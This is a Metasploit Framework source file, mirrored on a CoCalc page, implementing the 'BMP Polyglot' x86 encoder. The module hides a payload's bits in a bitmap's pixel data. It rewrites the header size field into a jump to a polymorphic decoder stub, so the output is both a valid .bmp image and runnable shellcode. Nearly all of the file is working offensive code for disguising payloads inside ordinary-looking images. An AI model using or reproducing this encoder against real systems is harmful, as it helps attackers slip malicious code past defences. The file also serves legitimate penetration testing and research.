CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x86/bmp_polyglot.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/poly'
7
=begin
8
[BITS 32]
9
10
global _start
11
12
_start:
13
pushad ; backup all registers
14
15
call get_eip ; get the value of eip
16
get_eip:
17
pop esi ; and put it into esi to use as the source
18
add esi, 0x30 ; advance esi to skip this decoder stub
19
mov edi, esi ; copy it to edi which is where to start writing
20
add esi, 0x1234 ; increase the source to skip any padding
21
mov ecx, 0x1234 ; set the byte counter
22
23
get_byte: ; <---------------------------------------------------------\
24
xor eax, eax ; clear eax which is where our newly decoded byte will go |
25
push ecx ; preserve the byte counter |
26
xor ecx, ecx ; set the counter to 0 |
27
mov cl, 8 ; set the counter to 8 (for bits) |
28
get_bit: ; <------------------------------------------------------\ |
29
shl eax, 1 ; shift eax one to make room for the next bit | |
30
mov bl, byte [esi] ; read a byte from the source register | |
31
inc esi ; advance the source register by a byte | |
32
and bl, 1 ; extract the value of the least-significant bit | |
33
or al, bl ; put the least-significat bit into eax | |
34
dec ecx ; decrement the bit counter | |
35
jne short get_bit ; -------------------------------------------------------/ |
36
; |
37
; get bit loop is done |
38
pop ecx ; restore the byte counter |
39
mov byte [edi], al ; move the newly decoded byte to its final destination |
40
inc edi ; increment the destination pointer |
41
; |
42
dec ecx ; decrement the byte counter |
43
jne get_byte ; ----------------------------------------------------------/
44
45
; get byte loop is done
46
popad ; restore all registers
47
48
=end
49
50
# calculate the smallest increase of a 32-bit little endian integer which is
51
# also a valid x86 jmp opcode of the specified minimum size.
52
class SizeCalculator
53
54
BYTE_NOPS = [
55
0x42, # inc edx
56
0x45, # inc ebp
57
0x4a, # dec edx
58
0x4d, # dec ebp
59
0x90, # xchg eax, eax / nop
60
0xf5, # cmc
61
0xf8, # clc
62
0xf9, # stc
63
0xfc, # cld
64
0xfd # std
65
]
66
67
def initialize(size, minimum_jump)
68
@original_size = size
69
raise if minimum_jump < 0 || minimum_jump > 0xff
70
@minimum_jump = minimum_jump
71
end
72
73
def calculate
74
possibles = []
75
size = new_size_long
76
possibles << size unless size.nil?
77
size = new_size_short
78
possibles << size unless size.nil?
79
return if possibles.length == 0
80
possibles.min
81
end
82
83
def new_size_long
84
size = [ @original_size ].pack('V').unpack('CCCC')
85
86
0.upto(2) do |i|
87
byte_0 = size[i]
88
byte_1 = size[i + 1]
89
byte_2 = size[i + 2].to_i
90
byte_3 = size[i + 3].to_i
91
byte_4 = size[i + 4].to_i
92
min_jmp = (@minimum_jump - 5 - i)
93
94
if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large
95
if byte_0 > 0xfd
96
size = increment_size(size, i)
97
end
98
size[i] = round_up_to_nop(byte_0)
99
next
100
end
101
102
if byte_0 > 0xe9
103
if byte_0 > 0xfd
104
size = increment_size(size, i)
105
end
106
size[i] = round_up_to_nop(byte_0)
107
else
108
size[i] = 0xe9
109
byte_1 = min_jmp if byte_1 < min_jmp
110
size[i + 1] = byte_1
111
return size.pack('CCCC').unpack('V')[0]
112
end
113
end
114
end
115
116
def new_size_short
117
return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max)
118
size = [ @original_size ].pack('V').unpack('CCCC')
119
120
0.upto(2) do |i|
121
byte_0 = size[i]
122
byte_1 = size[i + 1]
123
min_jmp = (@minimum_jump - 2 - i)
124
125
if byte_0 > 0xeb
126
if byte_0 > 0xfd
127
size = increment_size(size, i)
128
end
129
size[i] = round_up_to_nop(byte_0)
130
else
131
size[i] = 0xeb
132
if byte_1 > 0x7f
133
byte_1 = min_jmp
134
size = increment_size(size, i + 1)
135
elsif byte_1 < min_jmp
136
byte_1 = min_jmp
137
end
138
size[i + 1] = byte_1
139
return size.pack('CCCC').unpack('V')[0]
140
end
141
end
142
end
143
144
def size_to_jmp(size)
145
jmp = 0
146
packed = [ size, 0 ].pack('VV')
147
148
until [ "\xe9", "\xeb" ].include?(packed[0])
149
packed = packed[1..-1]
150
jmp += 1
151
end
152
153
if packed[0] == "\xe9"
154
jmp += packed[1..4].unpack('V')[0]
155
jmp += 5
156
elsif packed[0] == "\xeb"
157
jmp += packed[1].unpack('C')[0]
158
jmp += 2
159
end
160
161
jmp
162
end
163
164
private
165
166
def increment_size(size, byte)
167
size = size.pack('CCCC').unpack('V')[0]
168
size += (0x0100 << byte * 8)
169
[ size ].pack('V').unpack('CCCC')
170
end
171
172
def round_up_to_nop(opcode)
173
BYTE_NOPS.find { |nop| opcode <= nop }
174
end
175
end
176
177
class MetasploitModule < Msf::Encoder
178
Rank = ManualRanking
179
180
DESTEGO_STUB_SIZE = 53
181
# bitmap header sizes
182
BM_HEADER_SIZE = 14
183
DIB_HEADER_SIZE = 40
184
185
def initialize
186
super(
187
'Name' => 'BMP Polyglot',
188
'Description' => %q{
189
Encodes a payload in such a way that the resulting binary blob is both
190
valid x86 shellcode and a valid bitmap image file (.bmp). The selected
191
bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header
192
and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file
193
must use either 24 or 32 bits per pixel as the color depth and no
194
compression. This encoder makes absolutely no effort to remove any
195
invalid characters.
196
},
197
'Author' => 'Spencer McIntyre',
198
'Arch' => ARCH_X86,
199
'License' => MSF_LICENSE,
200
'References' =>
201
[
202
[ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ]
203
]
204
)
205
206
register_options(
207
[
208
OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ])
209
],
210
self.class)
211
end
212
213
def can_preserve_registers?
214
true
215
end
216
217
def preserves_stack?
218
true
219
end
220
221
def make_pad(size)
222
(0...size).map { (rand(0x100)).chr }.join
223
end
224
225
def modified_registers
226
# these two registers are modified by the initial BM header
227
# B 0x42 inc edx
228
# M 0x4d dec ebp
229
[
230
Rex::Arch::X86::EBP, Rex::Arch::X86::EDX
231
]
232
end
233
234
# take the original size and calculate a new one that meets the following
235
# requirements:
236
# - large enough to store all of the image data and the assembly stub
237
# - is also a valid x86 jmp instruction to land on the assembly stub
238
def calc_new_size(orig_size, stub_length)
239
minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header
240
calc = SizeCalculator.new(orig_size + stub_length, minimum_jump)
241
size = calc.calculate.to_i
242
raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size
243
244
jump = calc.size_to_jmp(size)
245
pre_pad = jump - minimum_jump
246
post_pad = size - orig_size - stub_length - pre_pad
247
return { :new_size => size, :post_pad => post_pad, :pre_pad => pre_pad }
248
end
249
250
# calculate the least number of bits that must be modified to place the
251
# shellcode buffer into the image data
252
def calc_required_lsbs(sc_len, data_len)
253
return 1 if sc_len * 8 <= data_len
254
return 2 if sc_len * 4 <= data_len
255
return 4 if sc_len * 2 <= data_len
256
raise EncodingError, 'Bad .bmp, not enough image data for stego operation'
257
end
258
259
# asm stub that will extract the payload from the least significant bits of
260
# the binary data which directly follows it
261
def make_destego_stub(shellcode_size, padding, lsbs = 1)
262
raise RuntimeError, 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs)
263
gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle
264
ptr_regs = [ 'edi', 'esi' ].shuffle
265
# declare logical registers
266
dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop)
267
src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop)
268
ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop)
269
byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop)
270
bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop)
271
272
endb = Rex::Poly::SymbolicBlock::End.new
273
274
get_eip_nop = Proc.new { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr }
275
get_eip = Proc.new { |b|
276
[
277
Proc.new { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr },
278
Proc.new { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr },
279
].sample.call(b)
280
}
281
set_src_addr = Proc.new { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') }
282
set_dst_addr = Proc.new { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
283
set_byte_ctr = Proc.new { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') }
284
adjust_src_addr = Proc.new { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') }
285
initialize = Rex::Poly::LogicalBlock.new('initialize',
286
Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) },
287
Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) },
288
Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
289
Proc.new { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
290
Proc.new { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
291
)
292
293
clr_byte_reg = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr }
294
clr_ctr = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr }
295
backup_byte_ctr = Proc.new { |b| (0x50 + b.regnum_of(ctr_reg)).chr }
296
set_bit_ctr = Proc.new { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr }
297
get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop',
298
Proc.new { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
299
Proc.new { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
300
Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) },
301
Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) },
302
)
303
get_byte_loop.depends_on(initialize)
304
305
shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg',
306
Proc.new { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr }
307
)
308
read_byte = Rex::Poly::LogicalBlock.new('read_byte',
309
Proc.new { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr }
310
)
311
inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg',
312
Proc.new { |b| (0x40 + b.regnum_of(src_addr_reg)).chr }
313
)
314
inc_src_reg.depends_on(read_byte)
315
get_lsb = Rex::Poly::LogicalBlock.new('get_lsb',
316
Proc.new { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr }
317
)
318
get_lsb.depends_on(read_byte)
319
put_lsb = Rex::Poly::LogicalBlock.new('put_lsb',
320
Proc.new { |b| "\x08"+ (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr }
321
)
322
put_lsb.depends_on(get_lsb, shift_byte_reg)
323
jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body')
324
jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg)
325
326
jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop',
327
Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr }
328
)
329
jmp_bit_loop.depends_on(jmp_bit_loop_body)
330
331
get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]))
332
get_bit_loop.depends_on(get_byte_loop)
333
334
put_byte = Proc.new { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
335
inc_dst_reg = Proc.new { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr }
336
restore_byte_ctr = Proc.new { |b| (0x58 + b.regnum_of(ctr_reg)).chr }
337
get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post',
338
Proc.new { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) },
339
Proc.new { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) },
340
Proc.new { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) },
341
)
342
get_byte_post.depends_on(get_bit_loop)
343
344
jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body',
345
Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr }
346
)
347
jmp_byte_loop_body.depends_on(get_byte_post)
348
349
finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61")
350
finalize.depends_on(jmp_byte_loop_body)
351
352
return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])
353
end
354
355
def stegoify(shellcode, data, lsbs = 1)
356
clr_mask = ((0xff << lsbs) & 0xff)
357
set_mask = clr_mask ^ 0xff
358
iter_count = 8 / lsbs
359
360
shellcode.each_char.with_index do |sc_byte, index|
361
sc_byte = sc_byte.ord
362
0.upto(iter_count - 1) do |bit_pos|
363
data_pos = (index * (8 / lsbs)) + bit_pos
364
shift = 8 - (lsbs * (bit_pos + 1))
365
366
d_byte = data[data_pos].ord
367
d_byte &= clr_mask
368
d_byte |= ((sc_byte & (set_mask << shift)) >> shift)
369
data[data_pos] = d_byte.chr
370
end
371
end
372
373
data
374
end
375
376
def validate_dib_header(dib_header)
377
size, _, _, _, bbp, compression, _, _, _, _, _ = dib_header.unpack('VVVvvVVVVVV')
378
raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE
379
raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32
380
raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0
381
end
382
383
def encode(buf, badchars = nil, state = nil, platform = nil)
384
in_bmp = File.open(datastore['BitmapFile'], 'rb')
385
386
header = in_bmp.read(BM_HEADER_SIZE)
387
dib_header = in_bmp.read(DIB_HEADER_SIZE)
388
image_data = in_bmp.read
389
in_bmp.close
390
391
header, original_size, _, _, original_offset = header.unpack('vVvvV')
392
raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42
393
validate_dib_header(dib_header)
394
395
lsbs = calc_required_lsbs(buf.length, image_data.length)
396
397
details = calc_new_size(original_size, DESTEGO_STUB_SIZE)
398
destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs)
399
if destego_stub.length != DESTEGO_STUB_SIZE
400
# this is likely a coding error caused by updating the make_destego_stub
401
# method but not the DESTEGO_STUB_SIZE constant
402
raise EncodingError, 'Bad destego stub size'
403
end
404
405
pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad])
406
new_offset = original_offset + pre_image_data.length
407
408
bmp_img = ''
409
bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV')
410
bmp_img << dib_header
411
bmp_img << pre_image_data
412
bmp_img << stegoify(buf, image_data, lsbs)
413
bmp_img
414
end
415
end
416
417